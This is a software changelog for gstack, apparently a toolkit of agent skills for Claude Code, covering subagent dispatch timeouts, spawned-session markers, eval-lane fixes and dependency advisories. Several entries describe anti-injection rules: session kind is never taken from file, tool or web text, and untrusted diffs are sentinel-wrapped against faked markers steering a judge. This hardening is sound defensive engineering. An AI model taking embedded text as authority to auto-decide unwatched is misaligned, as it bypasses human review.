/ship Step 18 worst-case wait (backgrounded dispatch) unbounded ~10 min documented recovery; a foreground hang stays harness-bounded

Codex doc review inside a ship-dispatched doc-sync ~5-10 min per ship skipped parent owns reviews

Headless gates that could mutate VERSION mid-ship 2 0 Step 8.3/8.4d resolve to Skip

The unbounded-to-10-minutes number is the one you feel: the failure mode changes from "my ship run has been sitting there for an hour" to a printed recovery line and a PR that still lands.

What this means for anyone shipping here: /ship finishes even when the harness misbehaves, doc-sync can never renumber your release or double-run review passes, and document-release now carries its own spawned-session contract, so any orchestrator that dispatches it (not just /ship) gets safe headless behavior.

Itemized changes

Added

Deadline + recovery on every /ship dispatch step. Steps 7 and 8 stop a runaway task and fall back to the inline audit if the subagent never completes (~10 min); Step 10 records Greptile triage as UNAVAILABLE in the PR body rather than pretending zero comments; Step 18 stops the runaway task, vets and pushes orphaned docs-only commits (never VERSION, package.json, or CHANGELOG; an explicit second-failure branch covers a moved remote), surfaces stray staged edits without ever discarding content, and proceeds without the Documentation section. The dispatch contract carries an explicit failure JSON shape, so a doc-sync that could not run reports as a failure instead of clean docs. No step ever silently parks the run.

A spawned-dispatch contract in document-release itself. Triggered strictly by the preamble's SESSION_KIND: spawned echo (the dispatcher's GSTACK_SESSION_KIND=spawned prefix; prompt or file claims alone never trigger it, matching the v1.78.0.0 echo-only rule). Every ask-the-user gate auto-resolves to its recommended option except the ones that would rewrite CHANGELOG content or change VERSION, which resolve to Skip and get recorded. Step 8.4d carries an explicit spawned note because its interactive recommendation is a VERSION bump.

Docs-sync scope guard in /ship's dispatch prompt: docs only, no base-branch merges, no version renumbering, CHANGELOG left to the parent, no Codex doc review, push rejections reported instead of resolved.

Changed

The Codex Documentation Review section skips itself in any spawned session; its apply gate needs a human, and a dispatching workflow owns its own review passes. Covers version skew where an older installed /ship dispatches a newer document-release.

Autoplan's design/eng/dx phase dispatches, the review army Red Team, the spec review loop, the adversarial subagent, the Codex second-opinion/plan-review/doc-review fallbacks, design sketch and outside voices, CSO finding verification, and design-shotgun variant launches all state run_in_background: false explicitly. Parallel fan-outs stay parallel; foreground calls in one message run concurrently.

Fixed

/ship Steps 7, 8, 10, and 18 no longer strand the run when Claude Code backgrounds their subagents (#497, #2440 class, third recurrence). The four dispatch specs share one resolver-sourced foreground note — dispatch happens only via the Agent tool, never the Skill tool or inline execution — so the phrasing cannot drift per site again.

For contributors

{{FOREGROUND_DISPATCH_NOTE}} (scripts/resolvers/constants.ts) is the single source for the flag guidance; use it in any new dispatch template and add the generated carrier to GENERATED_WITH_GUIDANCE in test/run-in-background-guidance.test.ts in the same commit. The test's pin list is the census of synchronous dispatch sites, and its structural scanner fails any generated dispatch imperative that lacks the flag even when un-enumerated.

Follow-ups filed: PreToolUse-hook enforcement of the flag (P1, structural fix), a capability-narrowed ship-mode for document-release, and a cross-host dispatch semantics audit.

Carved-skill skeleton ceilings re-measured and ratcheted in test/helpers/carve-guards.ts; codex/factory ship goldens re-rendered; the ship-docsync E2E asserts run_in_background === false on the captured dispatch and its fixture resolves section reads deterministically.

[1.78.0.0] - 2026-08-31

Plan reviews ask their questions again, the OSV lane is green from 105 advisories, and 18 community fixes land with credit. The upgrade path can no longer delete your install.

The fix wave. The weekly periodic eval lane broke at v1.76: the spawned-session rule let the model infer "nobody is reading this" from any scripted-looking prompt and silently auto-decide every review question, so plan reviews stopped asking. reviewCount collapsed to 0 across four skills. The trigger is now machine-verifiable and nothing else: the preamble's own echoed SESSION_KIND: spawned status line. No text from a dispatch prompt, file, or page can flip a session to auto-choose; a spawned subagent that missed the env marker is still caught at failure time by the AUQ hooks' spawned escape. The reproduced failure went from 0 review questions to a full question flow on the same harness.

The weekly OSV lane had been red for three weeks with 105 advisories, and its suppression file had been silently inert since v1.65 (wrong filename for auto-discovery, and per-directory configs never covered the nested lockfile anyway). The workflow now passes an explicit global --config, a dependency pass cleared 102 advisories through in-range bumps and overrides that actually reach nested exact pins, and the 3 survivors carry reasons plus ignoreUntil expiries. The diagram-render bundle lost its duplicate mermaid on the way: 9.96 MB to 7.59 MB.

Eighteen community PRs are absorbed with authorship preserved, twelve of them with wave amendments that finish a gap or fix a defect found in review. Nine more confirmed bugs are fixed directly, led by #2679: a failed mktemp in the vendored upgrade path used to rm -rf your install's backup after a failed swap. The swap now aborts loudly and restores the backup.

The numbers that matter

Sources: OSV scanner v2.3.8 (the exact release CI pins) on a frozen clean install; weekly CI runs 33369295978 (OSV) and 33363624506 (periodic); local A/B repro of test/skill-e2e-plan-ceo-finding-count.test.ts; bun run test on this tree vs a v1.77.0.0 scratch worktree.

Property Before After

OSV advisories on ./ recursive scan 105 (24 packages, lane red 3 weeks) 0, exit 0 (3 expiring reasoned ignores)

Suppression config inert since v1.65 loaded via explicit --config, wiring-tested

Periodic-lane review questions (5-finding plan) reviewCount=0 (14/73 shards red) full question flow on the same repro

Failed upgrade swap deletes backup and install restores backup, aborts loudly

Community PRs absorbed / issues closed 40 open PRs, 17 of these issues open 18 absorbed with credit, 17 issues closed

diagram-render offline bundle 9.96 MB (duplicate mermaid 10 + 11) 7.59 MB

Free-suite tests 8,519 8,660 (+141; receipts red on v1.77)

What this means for you

Plan reviews ask their questions again, browse stop actually stops Chromium, secrets scanning can't be silently disabled by a failed mktemp or a slow gitleaks probe, and /gstack-upgrade cannot eat your install on a bad temp dir. If you filed one of the 17 closed issues or the 18 absorbed PRs: your fix shipped, with your name on it. Upgrade with /gstack-upgrade.

Itemized changes

Fixed

AskUserQuestion spawned-trigger objectivity (periodic-lane regression). The v1.76 rule's "(or your dispatch prompt marks this session as spawned)" allowed inference; plan-review E2Es collapsed to zero questions. Two pinned-container verification rounds showed that ANY prose-declaration channel in the eager path keeps question counts unstable, so the rule now keys on exactly one thing: the preamble's own echoed STATUS line. Text can never trigger auto-choose — the strongest form of the anti-injection contract. Subagents without the env marker (Task-tool spawns) are caught at failure time by the AUQ hooks' spawned escape sentence, which now demands an explicit declaration, never an inference; #2733's env-prefix channel is untouched.

mktemp guards at all three skill-content sites (#2679). redact-doc resolver, ship pr-body, and the vendored upgrade path abort loudly on mktemp failure; the upgrade swap restores the backup on a failed mv instead of deleting it, and refuses to start over a stale backup left by a previously crashed upgrade; PR/MR creation refuses a missing or empty scanned body file; the GitLab MR path sends the scanned file's bytes instead of re-rendering an unscanned heredoc; gstack-redact --from-file "" errors instead of silently reading stdin.

OSV lane green (supersedes #2695). Explicit --config (auto-discovered configs apply per-directory and never covered lib/diagram-render/bun.lock); overrides pin ip-address 10.3.1 (clears both nested nodes, including express-rate-limit's exact 10.1.0 pin that a top-level bump provably cannot reach — @anupamme's #2695 credited for the parallel diagnosis) and sharp 0.35.0 (smoke-tested); marked ^18.0.11; full in-range lockfile refresh; diagram-render bumped through its own build-script contract (mermaid 11.16.1, excalidraw 0.18.1, mermaid-to-excalidraw 1.1.2 → 2.2.2, which retires the entire duplicate mermaid-10 advisory chain); every ignore carries a reason, an upgrade trigger, and an ignoreUntil expiry, pinned by a new wiring test so the file can never go inert again.

A slow gbrain --version probe classifies as timeout, never no-cli (#2716). A bun-shim install on a loaded box silently lost every brain-aware block because no-cli is the one status --is-ok does not forgive.

codex skill: unclosed consult-mode fence, turn.failed reported as a failure, portable exit-code capture (#2671, #2669). Every fenced region after the unclosed fence rendered inverted; a stated turn failure read as a "possible disconnect" (consult mode had no completeness check at all); ${PIPESTATUS[0]} is empty under zsh so hang detection never fired and clean runs printed spurious exit noise. A repo-wide CommonMark-faithful fence-pairing test now guards every generated doc, and the exit-capture form is executed under real bash and zsh in tests. Expect codex_timeout telemetry to start firing for zsh users — that's the counter working, not a regression.

Outside-voice fallback labeled honestly (#2735). When Codex is unavailable the fallback reviewer is a same-family Claude subagent; the copy no longer sells it as "cross-model coverage" with "genuine independence."

skill_prefix works under a gbrain render (#2738). gstack-relink now name-patches the render tree — the file the host actually serves.

Rendered section paths survive the atomic swap (#2692). gen-skill-docs gained --link-root; the swap-in callers pass the final dir, so rendered skills no longer carry ~9 dead Read paths into a directory the swap just deleted.

Persistent timeline Stop hook opt-out (#2677). --no-team stays one-shot; the new timeline_stop_hook config key (flags, env, full gstack-config surface) survives upgrades, and an explicit "no" removes a live registration.

browse: macOS headless GPU spin tamed + the lock-less headless Chromium is reaped on stop (#2709). Darwin-gated flag set (reporter-validated, GSTACK_DISABLE_GPU=off escape) exposed as a pure, unit-testable function; the daemon records the launched child's pid + start time, and stop paths reap a survivor only after verifying both the recorded start time and a Chromium-looking cmdline, so a recycled PID is never killed.

gstack-wtree: a failed touch falls through to the HEAD seed (#2687 hardening). The underlying same-size-rewrite race was fixed in v1.74; the reporter's repro now runs 20/20 clean, and the one silent path that could reopen it is closed.

Large gstack-redact reports survive a piped consumer. Reports past the 64KiB pipe buffer were silently truncated when the reader was slow (process.exit beat the drain) — CI quality gates parsing the JSON saw a corrupt report. The report path now lets stdout flush; pinned by a test proven red against the old exit pattern.

Community PRs absorbed (authorship preserved on the branch commits)

Codex preflight: a CLI that cannot execute reports broken_install, never ready — the wave completed autoplan's hand-maintained preflight chain and narrowed the install-signature grep to failed spawns. Contributed by @ukheni50 (#2745; fixes #2742).

ship design-checklist path points at the installed gstack/review copy. Contributed by @Lockyer228 (#2717; fixes #2694).

Feature markers live in GStack state, not project checkouts — the wave re-applied the CI seeding to the composite action and added an upgrade migration so nobody gets re-prompted. Contributed by @simonaltit (#2748; fixes #2728).

memory-ingest: transcript pages no longer vanish to slug collisions (887 staged → 0 ingested) or a frontmatter-fence render bug; slug assignments persist in the ingest state, so a page keeps its slug across runs and a new collider can never overwrite an unchanged page. Contributed by @rayers (#2699; fixes #2724).

browse js/eval returns the value of an async IIFE. Contributed by @loulanyue (#2747; fixes #2727).

land-and-deploy checks fork branches in the head repository — the wave replaced the metadata command (gh leaves nameWithOwner empty) and made fork branches report-only. Contributed by @pttydou (#2725; fixes #2696).

gstack-config rejects malformed cross_project_learnings at set. Contributed by @szsunyuan (#2676; fixes #2673).

gbrain-sync's pinned-source test is hermetic under a live autopilot. Contributed by @szsunyuan (#2689; fixes #2685).

redact: stale managed pre-push hooks refresh in place, so shipped wrapper fixes reach existing installs. Contributed by @schienbiz (#2731).

redact: Groq, Tavily, and Notion API key patterns. Contributed by @schienbiz (#2730).

redact: .env.local is not an internal hostname. Contributed by @davidani-davi (#2740).

redact: git SSH remotes are not emails — the wave named the lookahead constant. Contributed by @alopes50 (#2734).

gbrain ≥0.43 held-lock refusal classifies as engine-locked, not broken-config. Contributed by @pvanl (#2698).

A slow gitleaks probe no longer permanently disables secret scanning — and after three consecutive slow answers the run stops re-probing per file (a loaded box no longer stalls a big ingest for hours), warning once; the next run probes fresh. Contributed by @deniszjukow (#2715).

open-gstack-browser pre-flight actually kills the stale daemon (the pid grep never matched pretty-printed JSON). Contributed by @deniszjukow (#2714).

browse CLI honours CHROMIUM_PROFILE in profile-lock cleanup — the wave added the wiring tripwire. Contributed by @adam-badar (#2732).

make-pdf's pdftotext probe reads poppler's stderr banner instead of reporting "unknown" everywhere. Contributed by @snymanpaul (#2690).

bin writers no longer drop learnings and question events on paths with apostrophes; MSYS-form GSTACK_HOME works — the wave unified all four writers on the env-var import pattern. Contributed by @shreshth-designs (#2720).

For contributors

Tests: 8,519 → 8,660 (+141 across the wave; every behavior fix carries a regression test proven red on a v1.77.0.0 scratch worktree via base-compatible reproducers — tests that merely fail to compile on the base don't count as receipts).

New structural guards: generated-doc fence pairing (CommonMark state machine, not mod-2 counting), no bare ${PIPESTATUS[0]} in codex sections (plus real bash+zsh execution), OSV config wiring (flag ↔ filename ↔ entry hygiene, ignoreUntil mandatory), gstack-redact CLI empty-path rejection, cli.ts profile-dir delegation.

19 carve skeleton ceilings re-pinned with measured values (+~440 bytes/skill for the AUQ fence); autoplan re-pinned again for the broken-install preflight arm.

gen-skill-docs --link-root exists for render-into-tmp-then-swap callers; direct-render callers need no change.

The absorbed test files gained spawn timeouts (v1.77 sync-spawn tripwire predates them).

[1.77.0.0] - 2026-08-31

Every PR stops paying for evals twice. Flakes are now measured, killed at the root, and fenced.

The test infrastructure got its overhaul, wave 1. The legacy 17-row eval matrix that ran serialized AHEAD of the sliced lane on every PR is deleted: one paid lane, its gate census derived from the runner itself, so a new gate test is in the census the moment its file lands. No hand-enumerated rows to drift, and the drift already tried, a new matrix row landed on main mid-branch and the merge resolved to the derived census that covers it by construction.

The flake war moved from anecdotes to instruments. Every retried pass is now recorded where it cannot hide (bun's own output shows a retry as a clean pass, we probed it), the free lane retries a failing file once, loudly, and appends every flaky pass to a per-project ledger uploaded from CI on green runs. bun run eval:flake-rank ranks the series. And the wedge class that hit main, a hung child under a blocking spawnSync that no in-process timeout can interrupt, is extinct: 499 timeout-less sync-spawn sites across 146 files (the branch tripwire's own count against main) swept to zero, with a ratcheted tripwire that failed its first real offender the day a timeout-less spawn arrived from a merge.

The numbers that matter

Source: CI runs 33263204465 / 33262077256 (measured 2026-08-29), the repo census (test/helpers/touchfiles-data.ts), and the sweep tripwire (test/spawnsync-timeout-tripwire.test.ts).

Metric Before After Δ

Paid lanes per PR 2 (serialized) 1 eval wall 35.5 → ~13 min (target)

Measured duplicate spend per PR ~$20.94 $0 matrix deleted

Gate census keys 86 (6 phantoms) 77, all provably alive reverse invariant enforces

Sync spawns that can wedge a shard 499 unbounded 0 (8 reasoned exemptions) tripwire-ratcheted

Local gate worst case ~6.5 h (4×4 jobs) ~3.3 h (8×2) isolation landed first

Retried-pass visibility invisible recorded + ranked eval:flake-rank

The phantom-census number is the quiet one that matters: six merge-blocking "tests" existed only as map keys. They are deleted, and a key without a living test now fails the free suite.

What this means for anyone shipping here: PRs get one honest paid verdict faster and cheaper, a flaky pass never blocks your merge but never disappears either, and a test that hangs takes down thirty seconds, not a shard. Run bun run eval:flake-rank when you want the flake ledger's verdict.

Itemized changes

Added

Flake telemetry, end to end. Eval-store records every retry attempt (attempt, flaky_retries), the paid report lists passed-only-on-retry tests as warnings, the free lane's flaky-retry pass is ON in CI with a single-writer JSONL ledger (branch + sha attributed, per-project by default) uploaded as an artifact on every run, and bun run eval:flake-rank aggregates the series with final-attempt accounting and a 60-day recency bound.

Two-phase session timeouts. A silent API dies at a startup grace (90s local, 300s CI floor, a real Math.max floor) with the distinct reason timeout_startup instead of burning a 600s work budget into an opaque 0 turns / $0.00 failure; the work budget arms on the first byte and the total wall never grows.

Green-by-skip census. "Ran N tests" counts skips, so a codex/gemini file whose every test self-skipped used to read as coverage. The classifier now parses bun's skip/pass recap and the paid report labels an all-skipped pass "verified nothing."

Sync-spawn timeout tripwire (spawnSync / execSync / execFileSync / Bun.spawnSync, comment-aware, 30-line window, shrink-only exemption ratchet) plus a raw-SHA fixture ban (git show <sha>:path fixtures must be vendored; the one live offender now reads a committed fixture).

Behavioral kill-semantics tests: a fake-claude shim proves a timed-out session leaves neither the CLI nor its grandchild alive; two gstack-detach watchdog tests cover TERM-immune grandchildren and the leader-dies-first case.

CLI version stamping: every eval run records claude --version (resolved once in the runner parent), so the next TUI-drift flake hunt is a grep, not archaeology.

Changed

One paid lane. The legacy evals.yml matrix is deleted (pure deletion, one revert restores it) after a static parity receipt: the sliced lane's 49-file derived census strictly contained the matrix's 18 files. The PR comment moved into the sliced lane with final-attempt accounting and a fail-closed reconciliation verdict.

Paid runner defaults 4×4 → 8×2: ~10-13 real in-flight sessions (under the documented-safe 15) instead of ~4-6; per-shard TMPDIR/Chromium-profile isolation and a kill-path cleanup backstop landed first, deliberately.

CI setup deduplicated into four composite actions; the register-skills composite carries the fail-fast dangling-symlink verification loop that only the deleted matrix copy had, so the surviving lanes inherit it. Rerun-safe, frozen-lockfile fallback, input-validated.

Supply chain pinned: the claude CLI in the CI image is an exact version (bumps ride PRs that run the PTY gate, ending the weekly-latest drift that broke the harness three times), and every action in the secrets-bearing and image-publishing workflows is SHA-pinned.

Routing journeys lost their answer key: the fixture no longer ships a prompt→skill lookup table, so a regressed skill description can actually fail the test again, at roughly half the previous per-journey cost (2 turns, [Skill, Read] only).

Decided A/B experiments retired (auq-repetition-cut, preamble-script, the opus-47 single-run fanout comparison): one-shot questions answered months ago no longer re-run weekly as coin flips. plan-ceo-review-expansion-energy and ios-qa-e2e moved to the periodic tier with reasons.

Fixed

A fail-open reconcile gate: GitHub's default run-step shell has no pipefail, so the fail-closed report's exit was read from tee (always 0) in both paid lanes. Now PIPESTATUS[0], pinned by a wiring test.

A write-token trust boundary: the job that executes PR-authored code no longer holds the PR-comment write token; commenting moved to a job that runs zero repo code.

Provider-runner orphans: timeouts kill the whole process group (claude, codex, gemini, and gstack-detach's watchdog with the group id captured at spawn), and the codex/gemini runners inherited the orphan-drain hardening only the claude copy had. The observed 600s-timeout-stretching-past-1400s class is gone, with a regression net.

Selection integrity: 17 phantom selection keys deleted (a reverse invariant now requires every key to name a living test), gitignored .agents/** dep patterns that could never match a git diff replaced with their generators, and the codex/gemini local touchfile forks now derive from the canonical map.

A cross-shard SKILL.md race: the opus-47 eval regenerated the live tree's skill files mid-run; it now renders into a scratch dir via --out-dir.

For contributors

bun run eval:flake-rank (with --json, --dir, --since-days) is the promotion-clock dial; the WS16 required-check decision reads it.

The overhaul plan (16 workstreams, reviewed by CEO + eng passes with two cross-model outside voices) continues: budget-aware shard walls, PTY readiness events, free-suite splits, judge determinism, and required-check promotion are the next waves.

[1.76.0.0] - 2026-08-31

Ship's doc-sync now survives Conductor. Spawned subagents finally know they're spawned.

Every Conductor-hosted /ship used to lose its PR ## Documentation section the moment the document-release subagent hit an interactive gate: the subagent inherited the parent's environment, classified itself as a session a human was watching, rendered a decision brief nobody could answer, and stopped. The JSON contract broke, every time a gate fired (#2733). This release makes the spawned classification reachable: /ship marks its subagent with GSTACK_SESSION_KIND=spawned, and the whole stack (preamble, AskUserQuestion rules, both AUQ hooks) now resolves gates by auto-choosing the recommended option instead of writing prose to nobody. Destructive options are never auto-chosen, on any surface: the conservative choice wins and gets recorded. Auto-chosen decisions come back in a decisions array the parent prints to your console, so nothing is decided invisibly.

The numbers that matter

Source: the new gate-tier E2E (test/skill-e2e-docsync-spawned.test.ts) run receipt under ~/.gstack/projects/<slug>/evals/, plus issue #2733's field reports.

Metric Before After Δ

## Documentation on Conductor-hosted ships dropped whenever a doc gate fired present, E2E-proven fixed

Ways to reach the spawned classification 1 (OpenClaw env only) any dispatching skill, one env prefix new primitive

Onboarding prompts consumable by unwatched subagents up to 11 blocks per run, markers eaten 0 emitted, markers preserved for the next human session sealed

Real-agent E2E through a firing VERSION gate prose-STOP, JSON parse fails auto-chose the recommended Skip, JSON parsed, VERSION untouched 1/1 pass, $0.35, 106s

Preamble dead work per spawned start network update-check + a 17-subprocess repo probe both skipped faster subagents

The E2E is the receipt that matters: a live agent ran the real document-release preamble and VERSION gate inside a Conductor-ambient environment with the AUQ hooks active, ended on the machine-parseable contract, and left VERSION alone.

What this means for your workflow

Ship from Conductor and the PR carries its Documentation section again; any gate the subagent auto-chose shows up as a Doc-sync auto-decisions: line in your console. If you build orchestrating skills, prefix a subagent's gstack-skill-start invocation with GSTACK_SESSION_KIND=spawned and it behaves like a proper worker: no consent prompts consumed, no telemetry questions, no prose briefs to nobody. If anything sets that marker on a session a human is actually driving, the preamble now says so loudly (SPAWNED_OVERRIDE: env).

Itemized changes

Added

GSTACK_SESSION_KIND=spawned (bin/gstack-session-kind step 0): explicit per-command spawned marker, outranking every ambient env marker. Deliberately narrow: only spawned is honored; other values are reserved and ignored. Documented in docs/OPENCLAW.md, with a SPAWNED_OVERRIDE: env status line for tamper visibility when the env var (rather than an orchestrator marker) drove the classification.

decisions in the doc-sync contract (ship/sections/pr-body.md.tmpl): the document-release subagent records each auto-chosen gate as one line in a required decisions array; the parent prints them after the sync summary. Never embedded in the public PR body (tripwire-pinned). Absent key from an older installed skill reads as empty.

Proactive spawned rule in the AskUserQuestion prose (all tier-2+ skills): SESSION_KIND: spawned now short-circuits BEFORE the Conductor rule, with the destructive carve-out (never auto-choose an irreversible option, take the conservative choice and record it) and anti-injection scoping: a spawned marking counts only from the prompt that created the session, never from files, tool output, or web content read mid-run.

Gate-tier E2E (test/skill-e2e-docsync-spawned.test.ts): drives the verbatim Step 18 dispatch prompt against a real preamble-bearing document-release slice in a Conductor-ambient env with both AUQ hooks seeded live; asserts the 5-key JSON contract, a non-empty decisions array, and an untouched VERSION through a deliberately fired gate.

Changed

bin/gstack-skill-start: spawned sessions suppress CONDUCTOR_SESSION: true (prose to nobody is always wrong), key SPAWNED_SESSION: true and the spawned-session instruction block on the resolved kind instead of raw OPENCLAW_SESSION (OpenClaw behavior unchanged, regression-pinned), gate all 11 interactive-onboarding blocks plus their ack markers at emission, and skip the network-bound update-check and the first-task repo probe (their consumers are suppressed anyway; the one-shot just-upgraded marker survives for the next human session).

AUQ hooks (hosts/claude/hooks/): the Conductor deny gains a deterministic [conductor][spawned] auto-choose branch for env-marked spawned sessions, with per-question one-way-door annotations; both hooks' prose directives (interactive AND headless) carry a shared spawned escape sentence, single-sourced in spawned-directive.ts so the two paths can never drift. Hooks inherit the harness env, so the escape text is the designed lever for per-command-marked subagents.

Ship Step 18 dispatch prompt: frames the subagent as spawned, instructs the same-line env prefix (template bash blocks do not share exports), resolves every named gate to the recommended option with a conservative fallback, and places the skill's own doc-health summary in the body so the JSON stays the final line.

Fixed

#2733: Conductor-hosted /ship runs no longer lose their Documentation section when document-release hits an AskUserQuestion gate. The failure was gate-correlated and hit every ship on affected hosts.

For contributors

Skeleton byte ceilings in test/helpers/carve-guards.ts re-ratcheted for the AUQ prose growth (19 skills, measured values in comments); test/fixtures/context-budget.json recaptured in the same commit per the ratchet protocol.

New docsync-spawned selector in touchfiles (deps name every behavior under test) and a matching gate row in .github/workflows/evals.yml; bin/gstack-session-kind joined the conductor-prose and auto-decide-preserved selectors (it previously appeared in no dep list).

test/gstack-session-kind.test.ts, both hook suites, the resolver suite, and the dispatch tripwire gained ~25 cases, including a spawnedByEnv()-vs-script parity pin and a cross-surface destructive-policy drift guard.

[1.75.0.0] - 2026-08-29

Your review now hunts over-built code, not just broken code. And every skill's advice starts with "reuse before you build."

This release imports the best of ponytail, the code-minimalism ruleset, without importing its build-less posture. /review gains an eighth lens: a simplification specialist that flags unrequested structure (hand-rolled stdlib, one-implementation abstractions, dead flexibility, dependencies duplicating platform features) in a closed five-tag vocabulary. It is advisory only. It cannot dent your quality score, its fixes are never auto-applied, and on a lean diff it tells you something no reviewer ever says: "lean already — nothing to cut." Every tier-2+ skill also gains the reuse ladder (stop at the first rung that holds: this repo, stdlib, native platform, an installed dependency... then build the complete version of what remains) and a bounded closer, so completion reports stop touring every edit. Accepted shortcuts now leave a durable trail: a decision-ledger entry plus a gstack-shortcut(dec-<id>) marker in code, harvested into a debt ledger by /retro. Agent hosts without a full install (Zed, Amp, Cursor side projects) get a 1.8KB rules digest to copy into their own rules file. And /autoplan now runs the Eng review last, always, so the required shipping gate reviews the final amended plan instead of a stale one.

The numbers that matter

Source: this branch's own runs, recorded under ~/.gstack/projects/<slug>/evals/ and the commit receipts.

Metric Before After Δ

/review lenses 7 8 (simplification, advisory) +1

Simplification lens on this branch's own 5,190-line diff n/a net: -37 lines possible dogfooded

AskUserQuestion preamble section, per skill baseline -236 B (~9.7 KB across 41 skills) gated by a live A/B: post-cut 7/7 format elements, substance equal to pre-cut

Instruction-tier artifact for rules-reading hosts none 1,765 B committed digest (2,048 B budget) new

Skills-earn-their-tokens benchmark none 3 tasks x 2 arms (with/without skill), judged on the diff left behind new

/autoplan phase order CEO, Design, Eng, DX CEO, Design, DX, Eng always last the gate sees the final plan

The A/B receipt is the one to trust: the AskUserQuestion cut only landed because a two-arm eval on real SDK captures showed the shorter render lost nothing (the gate outranked the approval, by design).

What this means for your workflow

Run /review on a branch you suspect is over-built and read the [ADVISORY] rows plus the net: -N lines possible footer; nothing blocks, nothing auto-applies, you decide. Take a shortcut in an AskUserQuestion and it stops rotting silently: /retro reads the ledger back to you with its upgrade trigger. If you work in a rules-reading editor without a gstack install, copy agents-digest/gstack-AGENTS.md into your rules file and the ethos rides along.

Itemized changes

Added

Simplification review specialist (review/specialists/simplification.md): closed tag vocabulary (delete: / stdlib: / native: / speculative: / shrink:), dispatched on diffs over 100 lines, --simplification force flag. Advisory carve-out end to end: excluded from the quality score and findings-count header, ASK-only in Fix-First, [ADVISORY] labels, parent-printed net: -N lines possible footer, and a Simplification: lean already — nothing to cut. zero-findings line. Precision guarded by a false-flag fixture (a complete-but-lean diff must yield NO FINDINGS) and coverage-vs-structure boundary text (tests, error paths, and edge cases are never deletion targets).

Reuse ladder in Search Before Building (every tier-2+ skill): before writing new code, stop at the first rung that holds — a helper already in the repo, the stdlib, a native platform feature, an already-installed dependency — then build the complete version of what remains. Root-cause rule included: one guard in the shared function beats a guard in every caller.

Bounded closer (every tier-2+ skill): after completing work, report what changed, what was skipped, what to watch — a few short lines, with report-shaped skills (/qa-only, /plan-*-review, /retro, /document-generate) explicitly exempt because their report IS the work.

Shortcut debt ledger: accepting a Completeness ≤ 7 option on a durable-scope call now logs the ceiling and upgrade trigger to the decision ledger and marks each cut corner with gstack-shortcut(dec-<id>): <ceiling>, upgrade when <trigger>; /retro Step 11.5 harvests the markers, joins them on decision ids, and tags unlinked and no-trigger rot risks. Markers survive the redaction engine (pinned by test).

Instruction-only host tier: agents-digest/gstack-AGENTS.md, a committed, generated, budget-capped (2,048 B) digest of the ethos, reuse ladder, and voice rules. Setup's openclaw/hermes explainer arms print its path for copy-in; setup never writes a user's AGENTS.md (tripwire-tested, including laundered write shapes). README's host table now matches what setup actually does.

With/without-skill arm benchmark (periodic eval): three build-shaped tasks (a native-platform overbuild trap, a CRUD endpoint, a bugfix with planted decoys) run through real claude -p sessions twice — with the behavioral-layer skill installed and without — and the staged diff each arm leaves is judged for over-engineering on a 0-3 rubric with a full failure taxonomy (judge_error cells excluded from aggregates but surfaced; zero-diff arms are valid cells). Each cell also runs the fixture's own functional oracle (checks=pass|fail|none), so a refusal, a broken implementation, and working code stay distinguishable — correctness before LOC. A research instrument, not a gate.

/autoplan runs Eng last, always: mandatory order is now CEO → Design (if UI scope) → DX (if developer-facing scope) → Eng, with a single final approval gate; clearly-wrong premises queue as User-Challenge items instead of stopping mid-run, and accepting one at the gate amends the plan and re-runs Eng on the amended plan. Static test pins the Eng-terminal order.

Changed

AskUserQuestion preamble section slimmed (-236 B per skill, ~9.7 KB across the corpus): duplicate statements of the completeness rule, auto-decide marker, and tool-not-prose rule removed while keeping every verbosity floor and all 14 format pins. Landed only after a live NOT-WORSE A/B (pre-cut vs post-cut render, identical prompt, SDK capture) showed zero format-element loss and equal recommendation substance.

Terse-mode label tells the truth: the claimed savings is now the measured 2.6 KB, not "~3-5 KB".

/review checklist knows Completeness Gaps and Simplification are orthogonal (coverage up, structure down), and a gstack-shortcut marker downgrades a would-be gap finding to acknowledged debt — but only when its decision id resolves in the ledger; an orphan marker is reported as a forged suppression (cross-model adversarial catch).

Fixed

Version bumps no longer strand the agents digest: gstack-version-bump write --regen-digest reruns the repo's digest generator in the same mutation (explicit opt-in — a plain write never executes repo files it merely finds), and both ship's and land-and-deploy's evidence gates allow-list the digest alongside VERSION. Without this, every release commit of this repo would have failed the freshness CI check.

The free-suite flaky retry can no longer mask real failures: the retry pass vetoes on ANY unattributable failure evidence (headerless failures, unhandled errors between tests, truncated runs), an empty shard carries an empty failing-files list instead of crashing the retry, and a dead conditional was removed.

Version allocation distrusts laundered git: gstack-next-version consults ls-remote only when origin is actually configured, and a configured origin that "successfully" advertises zero heads (the Conductor git shim's failure shape) now falls back to local refs with a loud warning instead of reading an empty queue and reallocating a taken version. Both shim shapes are pinned by regression tests.

Browse temp paths are portable: local file serving accepts both the browse TEMP_DIR and the OS tmpdir (TEMP_DIRS allowlist), while remote serving stays pinned to TEMP_DIR only (the security asymmetry is test-enforced). An untrustable TMPDIR (/, $HOME, an ancestor of the daemon's cwd) is ignored rather than trusted for the daemon's lifetime.

Setup's instruction-tier pointer prints a script-anchored digest path instead of a cwd-relative one that broke when invoked from another directory.

/retro's shortcut harvest no longer reports phantom debt from files that merely document the marker convention (placeholder filter + judgment prose).

The arm benchmark harvests against a recorded seed commit (immune to agents that commit and push), ignores node_modules, survives multi-megabyte patches, names its judge-diff cap and reports truncation loudly, and wraps untrusted diffs in per-call random sentinels so a faked closing marker cannot steer the judge.

The AUQ A/B eval treats a judge failure on either side as inconclusive instead of coercing it to a fake degradation-or-mask, and reads its pre-cut arm from a vendored fixture instead of a branch-local SHA that dies with the branch.

For contributors

bun run test gains sandbox knobs: GSTACK_FREE_JOBS overrides shard count (digits-only, loud on garbage) and GSTACK_FREE_RETRY_FLAKY=1 opts into one serial retry pass for syscall-supervised sandboxes (default stays OFF — dev boxes should see flakes). scripts/sandbox-doctor.sh makes a Vercel/Conductor cloud sandbox run the suite green in one idempotent command (documented in docs/TESTING_INTERNALS.md): atomic git-shim patching with a backup, loud on patch-pattern drift, :99-socket Xvfb detection, dnf-gated installs, and it survives a missing /dev/shm. A failed digest regen now fails bun run gen:skill-docs locally instead of deferring the red to CI.

The arm-benchmark selftest (fixture integrity, judge plumbing, install asymmetry) now runs FREE in bun run test on every PR via test/arm-benchmark-selftest.test.ts — the paid periodic instrument can no longer burn money on broken fixtures.

Eval-store schema v2: harvest records carry {insertions, deletions, net}; recordE2E now populates tokens_used.

Touchfiles dep lists closed gaps (fixtures, judge helper, harness, ship render) and the context-budget ratchet fixture was re-captured, locking the AskUserQuestion reduction so it cannot silently regress.

